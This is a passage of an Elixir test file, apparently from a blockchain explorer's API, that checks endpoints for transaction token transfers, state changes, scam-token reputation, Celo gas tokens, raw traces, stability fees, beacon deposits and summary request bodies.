Enum.map(25..49, fn x -> x end) + ) + + token_transfers_2 = + for i <- 25..49 do + %TokenTransfer{tt_2 | token_ids: [i], amount: i} + end + + tt_3 = + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + token_contract_address: token.contract_address, + token_ids: [50], + token_type: "ERC-1155", + amounts: [50] + ) + + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/token-transfers") + assert response = json_response(request, 200) + + request_2nd_page = + get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/token-transfers", response["next_page_params"]) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, [tt_3] ++ token_transfers_2 ++ token_transfers_1) + end + + test "check that pagination works fine with 1155 batches #3", %{conn: conn} do + token = insert(:token, type: "ERC-1155") + + transaction = insert(:transaction, input: "0xabcd010203040506") |> with_block() + + tt_1 = + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + token_contract_address: token.contract_address, + token_ids: Enum.map(0..24, fn x -> x end), + token_type: "ERC-1155", + amounts: Enum.map(0..24, fn x -> x end) + ) + + token_transfers_1 = + for i <- 0..24 do + %TokenTransfer{tt_1 | token_ids: [i], amount: i} + end + + tt_2 = + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + token_contract_address: token.contract_address, + token_ids: Enum.map(25..50, fn x -> x end), + token_type: "ERC-1155", + amounts: Enum.map(25..50, fn x -> x end) + ) + + token_transfers_2 = + for i <- 25..50 do + %TokenTransfer{tt_2 | token_ids: [i], amount: i} + end + + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/token-transfers") + assert response = json_response(request, 200) + + request_2nd_page = + get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/token-transfers", response["next_page_params"]) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, token_transfers_2 ++ token_transfers_1) + end + end + + describe "/transactions/{transaction_hash}/state-changes" do + test "return 404 on non existing transaction", %{conn: conn} do + transaction = build(:transaction) + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/state-changes") + + assert %{"message" => "Not found"} = json_response(request, 404) + end + + test "return 422 on invalid transaction hash", %{conn: conn} do + request = get(conn, "/api/v2/transactions/0x/state-changes") + + assert %{"message" => "Invalid parameter(s)"} = json_response(request, 422) + end + + test "return existing transaction", %{conn: conn} do + block_before = insert(:block) + + transaction = + :transaction + |> insert() + |> with_block(status: :ok) + + insert(:address_coin_balance, + address: transaction.from_address, + address_hash: transaction.from_address_hash, + block_number: block_before.number + ) + + insert(:address_coin_balance, + address: transaction.to_address, + address_hash: transaction.to_address_hash, + block_number: block_before.number + ) + + insert(:address_coin_balance, + address: transaction.block.miner, + address_hash: transaction.block.miner_hash, + block_number: block_before.number + ) + + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/state-changes") + + assert response = json_response(request, 200) + assert Enum.count(response["items"]) == 3 + end + + test "does not include internal transaction with index 0", %{conn: conn} do + block_before = insert(:block) + + transaction = + :transaction + |> insert() + |> with_block(status: :ok) + + internal_transaction_from = insert(:address) + internal_transaction_to = insert(:address) + + insert(:internal_transaction, + transaction: transaction, + index: 0, + block_number: transaction.block_number, + transaction_index: transaction.index, + block_hash: transaction.block_hash, + block_index: 0, + value: %Wei{value: Decimal.new(7)}, + from_address_hash: internal_transaction_from.hash, + from_address: internal_transaction_from, + to_address_hash: internal_transaction_to.hash, + to_address: internal_transaction_to + ) + + insert(:address_coin_balance, + address: transaction.from_address, + address_hash: transaction.from_address_hash, + block_number: block_before.number + ) + + insert(:address_coin_balance, + address: transaction.to_address, + address_hash: transaction.to_address_hash, + block_number: block_before.number + ) + + insert(:address_coin_balance, + address: transaction.block.miner, + address_hash: transaction.block.miner_hash, + block_number: block_before.number + ) + + insert(:address_coin_balance, + address: internal_transaction_from, + address_hash: internal_transaction_from.hash, + block_number: block_before.number + ) + + insert(:address_coin_balance, + address: internal_transaction_to, + address_hash: internal_transaction_to.hash, + block_number: block_before.number + ) + + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/state-changes") + + assert response = json_response(request, 200) + assert Enum.count(response["items"]) == 3 + end + + test "return entries from internal transaction", %{conn: conn} do + block_before = insert(:block) + + transaction = + :transaction + |> insert() + |> with_block(status: :ok) + + internal_transaction_from = insert(:address) + internal_transaction_to = insert(:address) + + internal_transaction_from_delegatecall = insert(:address) + internal_transaction_to_delegatecall = insert(:address) + + insert(:internal_transaction, + call_type: :call, + transaction: transaction, + index: 0, + block_number: transaction.block_number, + transaction_index: transaction.index, + block_hash: transaction.block_hash, + block_index: 0, + value: %Wei{value: Decimal.new(7)}, + from_address_hash: internal_transaction_from.hash, + from_address: internal_transaction_from, + to_address_hash: internal_transaction_to.hash, + to_address: internal_transaction_to + ) + + # must be ignored, hence we expect only 5 state changes + insert(:internal_transaction, + call_type: :delegatecall, + transaction: transaction, + index: 1, + block_number: transaction.block_number, + transaction_index: transaction.index, + block_hash: transaction.block_hash, + block_index: 1, + value: %Wei{value: Decimal.new(7)}, + from_address_hash: internal_transaction_from_delegatecall.hash, + from_address: internal_transaction_from_delegatecall, + to_address_hash: internal_transaction_to_delegatecall.hash, + to_address: internal_transaction_to_delegatecall + ) + + insert(:internal_transaction, + call_type: :call, + transaction: transaction, + index: 2, + block_number: transaction.block_number, + transaction_index: transaction.index, + block_hash: transaction.block_hash, + block_index: 2, + value: %Wei{value: Decimal.new(7)}, + from_address_hash: internal_transaction_from.hash, + from_address: internal_transaction_from, + to_address_hash: internal_transaction_to.hash, + to_address: internal_transaction_to + ) + + insert(:address_coin_balance, + address: transaction.from_address, + address_hash: transaction.from_address_hash, + block_number: block_before.number, + value: %Wei{value: Decimal.new(1000)} + ) + + insert(:address_coin_balance, + address: transaction.to_address, + address_hash: transaction.to_address_hash, + block_number: block_before.number, + value: %Wei{value: Decimal.new(1000)} + ) + + insert(:address_coin_balance, + address: transaction.block.miner, + address_hash: transaction.block.miner_hash, + block_number: block_before.number, + value: %Wei{value: Decimal.new(1000)} + ) + + insert(:address_coin_balance, + address: internal_transaction_from, + address_hash: internal_transaction_from.hash, + block_number: block_before.number, + value: %Wei{value: Decimal.new(1000)} + ) + + insert(:address_coin_balance, + address: internal_transaction_to, + address_hash: internal_transaction_to.hash, + block_number: block_before.number, + value: %Wei{value: Decimal.new(1000)} + ) + + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/state-changes") + + assert response = json_response(request, 200) + assert Enum.count(response["items"]) == 5 + end + + test "return state changes with token transfers and verify token is correctly loaded", %{conn: conn} do + block_before = insert(:block) + + transaction = + :transaction + |> insert() + |> with_block(status: :ok) + + token = insert(:token, type: "ERC-20", symbol: "TEST", name: "Test Token") + from_address = insert(:address) + to_address = insert(:address) + + # Create token transfer + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + token_contract_address: token.contract_address, + token_contract_address_hash: token.contract_address_hash, + from_address: from_address, + from_address_hash: from_address.hash, + to_address: to_address, + to_address_hash: to_address.hash, + amount: Decimal.new(100), + token: token, + token_ids: nil + ) + + # Set up coin balances for transaction participants + insert(:address_coin_balance, + address: transaction.from_address, + address_hash: transaction.from_address_hash, + block_number: block_before.number, + value: %Wei{value: Decimal.new(1000)} + ) + + insert(:address_coin_balance, + address: transaction.to_address, + address_hash: transaction.to_address_hash, + block_number: block_before.number, + value: %Wei{value: Decimal.new(1000)} + ) + + insert(:address_coin_balance, + address: transaction.block.miner, + address_hash: transaction.block.miner_hash, + block_number: block_before.number, + value: %Wei{value: Decimal.new(1000)} + ) + + # Set up token balances + insert(:address_current_token_balance, + address: from_address, + address_hash: from_address.hash, + token_contract_address_hash: token.contract_address_hash, + block_number: block_before.number, + value: Decimal.new(1000) + ) + + insert(:address_current_token_balance, + address: to_address, + address_hash: to_address.hash, + token_contract_address_hash: token.contract_address_hash, + block_number: block_before.number, + value: Decimal.new(0) + ) + + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/state-changes") + + assert response = json_response(request, 200) + assert is_list(response["items"]) + + # Find the token state changes (should have at least from and to addresses) + token_state_changes = Enum.filter(response["items"], fn item -> item["type"] == "token" end) + assert length(token_state_changes) >= 2 + + # Verify token information is properly loaded in at least one state change + token_state_change = Enum.find(token_state_changes, fn item -> not is_nil(item["token"]) end) + assert token_state_change + + token_data = token_state_change["token"] + assert token_data["symbol"] == "TEST" + assert token_data["name"] == "Test Token" + assert token_data["type"] == "ERC-20" + assert token_data["address_hash"] == to_string(token.contract_address) + assert token_data["reputation"] == "ok" + end + + test "return state changes with scam token reputation properly set", %{conn: conn} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, true) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + block_before = insert(:block) + + transaction = + :transaction + |> insert() + |> with_block(status: :ok) + + # Create a token + token = insert(:token, type: "ERC-20", symbol: "SCAM", name: "Scam Token") + from_address = insert(:address) + to_address = insert(:address) + + # Create scam badge for the token address to mark it as scam + insert(:scam_badge_to_address, address_hash: token.contract_address_hash) + + # Create token transfer + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + token_contract_address: token.contract_address, + token_contract_address_hash: token.contract_address_hash, + from_address: from_address, + from_address_hash: from_address.hash, + to_address: to_address, + to_address_hash: to_address.hash, + amount: Decimal.new(100), + token: token, + token_ids: nil + ) + + # Set up coin balances for transaction participants + insert(:address_coin_balance, + address: transaction.from_address, + address_hash: transaction.from_address_hash, + block_number: block_before.number, + value: %Wei{value: Decimal.new(1000)} + ) + + insert(:address_coin_balance, + address: transaction.to_address, + address_hash: transaction.to_address_hash, + block_number: block_before.number, + value: %Wei{value: Decimal.new(1000)} + ) + + insert(:address_coin_balance, + address: transaction.block.miner, + address_hash: transaction.block.miner_hash, + block_number: block_before.number, + value: %Wei{value: Decimal.new(1000)} + ) + + # Set up token balances + insert(:address_current_token_balance, + address: from_address, + address_hash: from_address.hash, + token_contract_address_hash: token.contract_address_hash, + block_number: block_before.number, + value: Decimal.new(1000) + ) + + insert(:address_current_token_balance, + address: to_address, + address_hash: to_address.hash, + token_contract_address_hash: token.contract_address_hash, + block_number: block_before.number, + value: Decimal.new(0) + ) + + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/state-changes") + + assert response = json_response(request, 200) + assert is_list(response["items"]) + + # Find the token state changes + token_state_changes = Enum.filter(response["items"], fn item -> item["type"] == "token" end) + assert length(token_state_changes) >= 2 + + # Verify that the token has scam reputation + token_state_change = Enum.find(token_state_changes, fn item -> not is_nil(item["token"]) end) + assert token_state_change + + token_data = token_state_change["token"] + assert token_data["reputation"] == "scam" + assert token_data["symbol"] == "SCAM" + assert token_data["name"] == "Scam Token" + assert token_data["address_hash"] == to_string(token.contract_address) + end + end + + if Application.compile_env(:explorer, :chain_type) == :celo do + describe "celo gas token" do + test "when gas is paid with token and token is present in db", %{conn: conn} do + token = insert(:token) + + transaction = + :transaction + |> insert(gas_token_contract_address: token.contract_address) + |> with_block() + + request = get(conn, "/api/v2/transactions") + + token_address_hash = Address.checksum(token.contract_address_hash) + token_type = token.type + token_name = token.name + token_symbol = token.symbol + + assert %{ + "items" => [ + %{ + "celo" => %{ + "gas_token" => %{ + "address_hash" => ^token_address_hash, + "name" => ^token_name, + "symbol" => ^token_symbol, + "type" => ^token_type + } + } + } + ] + } = json_response(request, 200) + + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}") + + assert %{ + "celo" => %{ + "gas_token" => %{ + "address_hash" => ^token_address_hash, + "name" => ^token_name, + "symbol" => ^token_symbol, + "type" => ^token_type + } + } + } = json_response(request, 200) + + request = get(conn, "/api/v2/addresses/#{to_string(transaction.from_address_hash)}/transactions") + + assert %{ + "items" => [ + %{ + "celo" => %{ + "gas_token" => %{ + "address_hash" => ^token_address_hash, + "name" => ^token_name, + "symbol" => ^token_symbol, + "type" => ^token_type + } + } + } + ] + } = json_response(request, 200) + + request = get(conn, "/api/v2/main-page/transactions") + + assert [ + %{ + "celo" => %{ + "gas_token" => %{ + "address_hash" => ^token_address_hash, + "name" => ^token_name, + "symbol" => ^token_symbol, + "type" => ^token_type + } + } + } + ] = json_response(request, 200) + end + + test "when gas is paid with token and token is not present in db", %{conn: conn} do + unknown_token_address = insert(:address) + + transaction = + :transaction + |> insert(gas_token_contract_address: unknown_token_address) + |> with_block() + + unknown_token_address_hash = Address.checksum(unknown_token_address.hash) + + request = get(conn, "/api/v2/transactions") + + assert %{ + "items" => [ + %{ + "celo" => %{ + "gas_token" => %{ + "address_hash" => ^unknown_token_address_hash + } + } + } + ] + } = json_response(request, 200) + + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}") + + assert %{ + "celo" => %{ + "gas_token" => %{ + "address_hash" => ^unknown_token_address_hash + } + } + } = json_response(request, 200) + + request = get(conn, "/api/v2/addresses/#{to_string(transaction.from_address_hash)}/transactions") + + assert %{ + "items" => [ + %{ + "celo" => %{ + "gas_token" => %{ + "address_hash" => ^unknown_token_address_hash + } + } + } + ] + } = json_response(request, 200) + + request = get(conn, "/api/v2/main-page/transactions") + + assert [ + %{ + "celo" => %{ + "gas_token" => %{ + "address_hash" => ^unknown_token_address_hash + } + } + } + ] = json_response(request, 200) + end + + test "when gas is paid in native coin", %{conn: conn} do + transaction = :transaction |> insert() |> with_block() + + request = get(conn, "/api/v2/transactions") + + assert %{ + "items" => [ + %{ + "celo" => %{"gas_token" => nil} + } + ] + } = json_response(request, 200) + + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}") + + assert %{ + "celo" => %{"gas_token" => nil} + } = json_response(request, 200) + + request = get(conn, "/api/v2/addresses/#{to_string(transaction.from_address_hash)}/transactions") + + assert %{ + "items" => [ + %{ + "celo" => %{"gas_token" => nil} + } + ] + } = json_response(request, 200) + + request = get(conn, "/api/v2/main-page/transactions") + + assert [ + %{ + "celo" => %{"gas_token" => nil} + } + ] = json_response(request, 200) + end + end + end + + describe "/transactions/{transaction_hash}/raw-trace" do + test "returns raw trace from node", %{conn: conn} do + transaction = + :transaction + |> insert() + |> with_block(status: :ok) + + raw_trace = %{ + "traceAddress" => [], + "type" => "call", + "callType" => "call", + "from" => "0xa931c862e662134b85e4dc4baf5c70cc9ba74db4", + "to" => "0x1469b17ebf82fedf56f04109e5207bdc4554288c", + "gas" => "0x8600", + "gasUsed" => "0x7d37", + "input" => "0xb118e2db0000000000000000000000000000000000000000000000000000000000000008", + "output" => "0x", + "value" => "0x174876e800", + "transactionHash" => to_string(transaction.hash) + } + + expect(EthereumJSONRPC.Mox, :json_rpc, fn _, _ -> {:ok, [raw_trace]} end) + + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/raw-trace") + + assert response = json_response(request, 200) + assert response == [raw_trace] + end + + test "returns correct error", %{conn: conn} do + transaction = + :transaction + |> insert() + |> with_block(status: :ok) + + expect(EthereumJSONRPC.Mox, :json_rpc, fn _, _ -> {:error, "error"} end) + + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/raw-trace") + + assert response = json_response(request, 500) + assert response == "Error while raw trace fetching" + end + end + + if Application.compile_env(:explorer, :chain_type) == :stability do + @first_topic_hex_string_1 "0x99e7b0ba56da2819c37c047f0511fd2bf6c9b4e27b4a979a19d6da0f74be8155" + + describe "stability fees" do + test "check stability fees", %{conn: conn} do + transaction = insert(:transaction) |> with_block() + + _log = + insert(:log, + transaction: transaction, + index: 1, + block: transaction.block, + block_number: transaction.block_number, + first_topic: TestHelper.topic(@first_topic_hex_string_1), + data: + "0x000000000000000000000000dc2b93f3291030f3f7a6d9363ac37757f7ad5c4300000000000000000000000000000000000000000000000000002824369a100000000000000000000000000046b555cb3962bf9533c437cbd04a2f702dfdb999000000000000000000000000000000000000000000000000000014121b4d0800000000000000000000000000faf7a981360c2fab3a5ab7b3d6d8d0cf97a91eb9000000000000000000000000000000000000000000000000000014121b4d0800" + ) + + insert(:token, contract_address: build(:address, hash: "0xDc2B93f3291030F3F7a6D9363ac37757f7AD5C43")) + request = get(conn, "/api/v2/transactions") + + assert %{ + "items" => [ + %{ + "stability_fee" => %{ + "token" => %{"address_hash" => "0xDc2B93f3291030F3F7a6D9363ac37757f7AD5C43"}, + "validator_address" => %{"hash" => "0x46B555CB3962bF9533c437cBD04A2f702dfdB999"}, + "dapp_address" => %{"hash" => "0xFAf7a981360c2FAb3a5Ab7b3D6d8D0Cf97a91Eb9"}, + "total_fee" => "44136000000000", + "dapp_fee" => "22068000000000", + "validator_fee" => "22068000000000" + } + } + ] + } = json_response(request, 200) + + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}") + + assert %{ + "stability_fee" => %{ + "token" => %{"address_hash" => "0xDc2B93f3291030F3F7a6D9363ac37757f7AD5C43"}, + "validator_address" => %{"hash" => "0x46B555CB3962bF9533c437cBD04A2f702dfdB999"}, + "dapp_address" => %{"hash" => "0xFAf7a981360c2FAb3a5Ab7b3D6d8D0Cf97a91Eb9"}, + "total_fee" => "44136000000000", + "dapp_fee" => "22068000000000", + "validator_fee" => "22068000000000" + } + } = json_response(request, 200) + + request = get(conn, "/api/v2/addresses/#{to_string(transaction.from_address_hash)}/transactions") + + assert %{ + "items" => [ + %{ + "stability_fee" => %{ + "token" => %{"address_hash" => "0xDc2B93f3291030F3F7a6D9363ac37757f7AD5C43"}, + "validator_address" => %{"hash" => "0x46B555CB3962bF9533c437cBD04A2f702dfdB999"}, + "dapp_address" => %{"hash" => "0xFAf7a981360c2FAb3a5Ab7b3D6d8D0Cf97a91Eb9"}, + "total_fee" => "44136000000000", + "dapp_fee" => "22068000000000", + "validator_fee" => "22068000000000" + } + } + ] + } = json_response(request, 200) + end + + test "check stability if token absent in DB", %{conn: conn} do + transaction = insert(:transaction) |> with_block() + + _log = + insert(:log, + transaction: transaction, + index: 1, + block: transaction.block, + block_number: transaction.block_number, + first_topic: TestHelper.topic(@first_topic_hex_string_1), + data: + "0x000000000000000000000000dc2b93f3291030f3f7a6d9363ac37757f7ad5c4300000000000000000000000000000000000000000000000000002824369a100000000000000000000000000046b555cb3962bf9533c437cbd04a2f702dfdb999000000000000000000000000000000000000000000000000000014121b4d0800000000000000000000000000faf7a981360c2fab3a5ab7b3d6d8d0cf97a91eb9000000000000000000000000000000000000000000000000000014121b4d0800" + ) + + request = get(conn, "/api/v2/transactions") + + assert %{ + "items" => [ + %{ + "stability_fee" => %{ + "token" => %{"address_hash" => "0xDc2B93f3291030F3F7a6D9363ac37757f7AD5C43"}, + "validator_address" => %{"hash" => "0x46B555CB3962bF9533c437cBD04A2f702dfdB999"}, + "dapp_address" => %{"hash" => "0xFAf7a981360c2FAb3a5Ab7b3D6d8D0Cf97a91Eb9"}, + "total_fee" => "44136000000000", + "dapp_fee" => "22068000000000", + "validator_fee" => "22068000000000" + } + } + ] + } = json_response(request, 200) + + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}") + + assert %{ + "stability_fee" => %{ + "token" => %{"address_hash" => "0xDc2B93f3291030F3F7a6D9363ac37757f7AD5C43"}, + "validator_address" => %{"hash" => "0x46B555CB3962bF9533c437cBD04A2f702dfdB999"}, + "dapp_address" => %{"hash" => "0xFAf7a981360c2FAb3a5Ab7b3D6d8D0Cf97a91Eb9"}, + "total_fee" => "44136000000000", + "dapp_fee" => "22068000000000", + "validator_fee" => "22068000000000" + } + } = json_response(request, 200) + + request = get(conn, "/api/v2/addresses/#{to_string(transaction.from_address_hash)}/transactions") + + assert %{ + "items" => [ + %{ + "stability_fee" => %{ + "token" => %{"address_hash" => "0xDc2B93f3291030F3F7a6D9363ac37757f7AD5C43"}, + "validator_address" => %{"hash" => "0x46B555CB3962bF9533c437cBD04A2f702dfdB999"}, + "dapp_address" => %{"hash" => "0xFAf7a981360c2FAb3a5Ab7b3D6d8D0Cf97a91Eb9"}, + "total_fee" => "44136000000000", + "dapp_fee" => "22068000000000", + "validator_fee" => "22068000000000" + } + } + ] + } = json_response(request, 200) + end + end + end + + describe "transactions/{transaction_hash}/beacon/deposits" do + if Application.compile_env(:explorer, :chain_type) == :ethereum do + test "get 404 on non-existing transaction", %{conn: conn} do + transaction = build(:transaction) + + request = get(conn, "/api/v2/transactions/#{transaction.hash}/beacon/deposits") + response = json_response(request, 404) + end + + test "get deposits", %{conn: conn} do + transaction = insert(:transaction) + + deposits = insert_list(51, :beacon_deposit, transaction: transaction) + + insert(:beacon_deposit) + + request = get(conn, "/api/v2/transactions/#{transaction.hash}/beacon/deposits") + assert response = json_response(request, 200) + + request_2nd_page = + get(conn, "/api/v2/transactions/#{transaction.hash}/beacon/deposits", response["next_page_params"]) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, deposits) + end + else + test "returns an error about chain type", %{conn: conn} do + transaction = insert(:transaction) + request = get(conn, "/api/v2/transactions/#{transaction.hash}/beacon/deposits") + assert response = json_response(request, 404) + assert %{"message" => "Endpoint not available for current chain type"} = response + end + end + end + + defp compare_item(%Transaction{} = transaction, json) do + assert to_string(transaction.hash) == json["hash"] + assert transaction.block_number == json["block_number"] + assert to_string(transaction.value.value) == json["value"] + assert Address.checksum(transaction.from_address_hash) == json["from"]["hash"] + assert Address.checksum(transaction.to_address_hash) == json["to"]["hash"] + end + + defp compare_item(%InternalTransaction{} = internal_transaction, json) do + assert internal_transaction.block_number == json["block_number"] + assert to_string(internal_transaction.gas) == json["gas_limit"] + assert internal_transaction.index == json["index"] + assert to_string(internal_transaction.transaction_hash) == json["transaction_hash"] + assert Address.checksum(internal_transaction.from_address_hash) == json["from"]["hash"] + assert Address.checksum(internal_transaction.to_address_hash) == json["to"]["hash"] + end + + defp compare_item(%Log{} = log, json) do + assert to_string(log.data) == json["data"] + assert log.index == json["index"] + assert Address.checksum(log.address_hash) == json["address"]["hash"] + assert to_string(log.transaction_hash) == json["transaction_hash"] + assert json["block_number"] == log.block_number + end + + defp compare_item(%TokenTransfer{} = token_transfer, json) do + assert Address.checksum(token_transfer.from_address_hash) == json["from"]["hash"] + assert Address.checksum(token_transfer.to_address_hash) == json["to"]["hash"] + assert to_string(token_transfer.transaction_hash) == json["transaction_hash"] + assert json["timestamp"] == nil + assert json["method"] == nil + assert to_string(token_transfer.block_hash) == json["block_hash"] + assert token_transfer.log_index == json["log_index"] + assert check_total(Repo.preload(token_transfer, [{:token, :contract_address}]).token, json["total"], token_transfer) + end + + defp compare_item(%BeaconDeposit{} = deposit, json) do + index = deposit.index + transaction_hash = to_string(deposit.transaction_hash) + block_hash = to_string(deposit.block_hash) + block_number = deposit.block_number + pubkey = to_string(deposit.pubkey) + withdrawal_credentials = to_string(deposit.withdrawal_credentials) + signature = to_string(deposit.signature) + from_address_hash = Address.checksum(deposit.from_address_hash) + + if deposit.withdrawal_address_hash do + withdrawal_address_hash = Address.checksum(deposit.withdrawal_address_hash) + + assert %{ + "index" => ^index, + "transaction_hash" => ^transaction_hash, + "block_hash" => ^block_hash, + "block_number" => ^block_number, + "pubkey" => ^pubkey, + "withdrawal_credentials" => ^withdrawal_credentials, + "withdrawal_address" => %{"hash" => ^withdrawal_address_hash}, + "signature" => ^signature, + "from_address" => %{"hash" => ^from_address_hash} + } = json + else + assert %{ + "index" => ^index, + "transaction_hash" => ^transaction_hash, + "block_hash" => ^block_hash, + "block_number" => ^block_number, + "pubkey" => ^pubkey, + "withdrawal_credentials" => ^withdrawal_credentials, + "withdrawal_address" => nil, + "signature" => ^signature, + "from_address" => %{"hash" => ^from_address_hash} + } = json + end + end + + defp compare_item(%Transaction{} = transaction, json, wl_names) do + assert to_string(transaction.hash) == json["hash"] + assert transaction.block_number == json["block_number"] + assert to_string(transaction.value.value) == json["value"] + assert Address.checksum(transaction.from_address_hash) == json["from"]["hash"] + assert Address.checksum(transaction.to_address_hash) == json["to"]["hash"] + + assert json["to"]["watchlist_names"] == + if(wl_names[transaction.to_address_hash], + do: [ + %{ + "display_name" => wl_names[transaction.to_address_hash], + "label" => wl_names[transaction.to_address_hash] + } + ], + else: [] + ) + + assert json["from"]["watchlist_names"] == + if(wl_names[transaction.from_address_hash], + do: [ + %{ + "display_name" => wl_names[transaction.from_address_hash], + "label" => wl_names[transaction.from_address_hash] + } + ], + else: [] + ) + end + + defp check_paginated_response(first_page_resp, second_page_resp, transactions) do + assert Enum.count(first_page_resp["items"]) == 50 + assert first_page_resp["next_page_params"] != nil + compare_item(Enum.at(transactions, 50), Enum.at(first_page_resp["items"], 0)) + compare_item(Enum.at(transactions, 1), Enum.at(first_page_resp["items"], 49)) + + assert Enum.count(second_page_resp["items"]) == 1 + assert second_page_resp["next_page_params"] == nil + compare_item(Enum.at(transactions, 0), Enum.at(second_page_resp["items"], 0)) + end + + defp check_paginated_response(first_page_resp, second_page_resp, transactions, wl_names) do + assert Enum.count(first_page_resp["items"]) == 50 + assert first_page_resp["next_page_params"] != nil + compare_item(Enum.at(transactions, 50), Enum.at(first_page_resp["items"], 0), wl_names) + compare_item(Enum.at(transactions, 1), Enum.at(first_page_resp["items"], 49), wl_names) + + assert Enum.count(second_page_resp["items"]) == 1 + assert second_page_resp["next_page_params"] == nil + compare_item(Enum.at(transactions, 0), Enum.at(second_page_resp["items"], 0), wl_names) + end + + # with the current implementation no transfers should come with list in totals + defp check_total(%Token{type: nft}, json, _token_transfer) when nft in ["ERC-721", "ERC-1155"] and is_list(json) do + false + end + + defp check_total(%Token{type: nft}, json, token_transfer) when nft in ["ERC-1155"] do + json["token_id"] in Enum.map(token_transfer.token_ids, fn x -> to_string(x) end) and + json["value"] == to_string(token_transfer.amount) + end + + defp check_total(%Token{type: nft}, json, token_transfer) when nft in ["ERC-721"] do + json["token_id"] in Enum.map(token_transfer.token_ids, fn x -> to_string(x) end) + end + + defp check_total(_, _, _), do: true + + describe "/transactions/{transaction_hash}/summary?just_request_body=true" do + setup do + original_config = + Application.get_env(:block_scout_web, BlockScoutWeb.MicroserviceInterfaces.TransactionInterpretation) + + Application.put_env(:block_scout_web, BlockScoutWeb.MicroserviceInterfaces.TransactionInterpretation, + enabled: true, + service_url: "http://localhost:4000" + ) + + on_exit(fn -> + Application.put_env( + :block_scout_web, + BlockScoutWeb.MicroserviceInterfaces.TransactionInterpretation, + original_config + ) + end) + end + + test "return 404 on non existing transaction", %{conn: conn} do + transaction = build(:transaction) + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/summary?just_request_body=true") + + assert %{"message" => "Not found"} = json_response(request, 404) + end + + test "return 422 on invalid transaction hash", %{conn: conn} do + request = get(conn, "/api/v2/transactions/0x/summary?just_request_body=true") + + assert %{"message" => "Invalid parameter(s)"} = json_response(request, 422) + end + + test "return 403 when transaction interpretation service is disabled", %{conn: conn} do + Application.put_env(:block_scout_web, BlockScoutWeb.MicroserviceInterfaces.TransactionInterpretation, + enabled: false + ) + + transaction = + :transaction + |> insert() + |> with_block() + + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/summary?just_request_body=true") + + assert %{"message" => "Transaction Interpretation Service is disabled"} = json_response(request, 403) + end + + test "return request body for existing transaction", %{conn: conn} do + transaction = + :transaction + |> insert() + |> with_block() + + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/summary?just_request_body=true") + + assert response = json_response(request, 200) + + # Verify the structure of the request body + assert Map.has_key?(response, "data") + assert Map.has_key?(response, "logs_data") + assert Map.has_key?(response, "chain_id") + + # Verify data structure + data = response["data"] + assert Map.has_key?(data, "to") + assert Map.has_key?(data, "from") + assert Map.has_key?(data, "hash") + assert Map.has_key?(data, "type") + assert Map.has_key?(data, "value") + assert Map.has_key?(data, "method") + assert Map.has_key?(data, "status") + assert Map.has_key?(data, "transaction_types") + assert Map.has_key?(data, "raw_input") + assert Map.has_key?(data, "decoded_input") + assert Map.has_key?(data, "token_transfers") + assert Map.has_key?(data, "internal_transactions") + + # Verify logs_data structure + logs_data = response["logs_data"] + assert Map.has_key?(logs_data, "items") + assert is_list(logs_data["items"]) + + # Verify chain_id is present and is an integer + assert is_integer(response["chain_id"]) + + # Verify transaction data matches + assert to_string(transaction.hash) == data["hash"] + assert transaction.type == data["type"] + assert to_string(transaction.value.value) == data["value"] + assert to_string(transaction.status) == data["status"] + end + + test "return request body with token transfers", %{conn: conn} do + transaction = + :transaction + |> insert() + |> with_block() + + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number + ) + + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/summary?just_request_body=true") + + assert response = json_response(request, 200) + assert is_list(response["data"]["token_transfers"]) + assert Enum.count(response["data"]["token_transfers"]) >= 1 + end + + test "return request body with internal transactions", %{conn: conn} do + transaction = + :transaction + |> insert() + |> with_block() + + insert(:internal_transaction, + transaction_hash: transaction.hash, + index: 1, + block_number: transaction.block_number, + transaction_index: transaction.index, + block_hash: transaction.block_hash, + block_index: 1, + type: :reward + ) + + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/summary?just_request_body=true") + + assert response = json_response(request, 200) + assert is_list(response["data"]["internal_transactions"]) + assert Enum.count(response["data"]["internal_transactions"]) >= 1 + end + + test "return request body with logs", %{conn: conn} do + transaction = + :transaction + |> insert() + |> with_block() + + insert(:log, + transaction: transaction, + index: 1, + block: transaction.block, + block_number: transaction.block_number + ) + + request = get(conn, "/api/v2/transactions/#{to_string(transaction.hash)}/summary?just_request_body=true") + + assert response = json_response(request, 200) + assert is_list(response["logs_data"]["items"]) + assert Enum.count(response["logs_data"]["items"]) >= 1 + end + + test "return request body with smart contract transaction", %{conn: conn} do + contract = + 